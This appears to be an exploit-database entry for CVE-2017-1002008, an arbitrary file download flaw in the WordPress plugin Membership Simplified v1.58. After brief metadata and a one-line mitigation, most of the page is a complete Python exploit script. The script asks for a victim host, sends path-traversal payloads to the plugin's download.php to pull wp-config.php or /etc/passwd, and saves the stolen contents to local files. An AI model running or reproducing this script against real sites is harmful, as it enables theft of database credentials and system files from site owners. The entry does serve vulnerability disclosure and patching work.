header-logo
Suggest Exploit
vendor:
Membership Simplified for OAP Members Only
by:
Munir Njiru
9,8
CVSS
CRITICAL
Arbitrary File Download
23
CWE
Product Name: Membership Simplified for OAP Members Only
Affected Version From: 1.58
Affected Version To: 1.58
Patch Exists: YES
Related CWE: CVE-2017-1002008
CPE: a:wordpress:membership_simplified_for_oap_members_only:1.58
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2017

WordPress Plugin Membership Simplified v1.58 – Arbitrary File Download

This exploit allows an attacker to download arbitrary files from a vulnerable Wordpress Plugin Membership Simplified v1.58 installation. The attacker can specify the file to download by manipulating the download_file parameter in the download.php file.

Mitigation:

Upgrade to the latest version of the plugin or disable the plugin if it is not necessary.
Source

Exploit-DB raw data:

import requests
import string
import random
from urlparse import urlparse

print "---------------------------------------------------------------------"
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
if file_choice == "1":
    payload="..././..././..././wp-config.php"
elif file_choice == "2":
    payload="..././..././..././..././..././..././..././..././etc/passwd"
else:
    print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
    quit()  
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
target=victim+slug
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
	
def checkPlugin():
    pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
    pluginExistence = pluginExists.status_code
    if pluginExistence == 200:
        print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
        exploit()
    else:
        print "Target has a funny code & might not be vulnerable, I will now exit\n"
        quit()
     
def exploit():
    
    getThatFile = requests.get(target)
    fileState = getThatFile.status_code
    breakApart=urlparse(victim)
    extract_hostname=breakApart.netloc	
    randomDifferentiator=randomizeFile()
    cleanName=str(randomDifferentiator)
    if fileState == 200:
	respFromThatFile = getThatFile.text
	if file_choice == "1":
		resultFile=extract_hostname+"_config_"+cleanName+".txt"
		print resultFile
		pwned=open(resultFile, 'w')
		pwned.write(respFromThatFile)
		pwned.close
		print "Wordpress Config Written to "+resultFile
	else:
		resultFile=extract_hostname+"_passwd"+cleanName+".txt"
		pwned=open(resultFile, 'w')
		pwned.write(respFromThatFile)
		pwned.close
		print "Passwd File Written to "+resultFile
    else: 
	print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
  
if __name__ == "__main__":
    checkPlugin()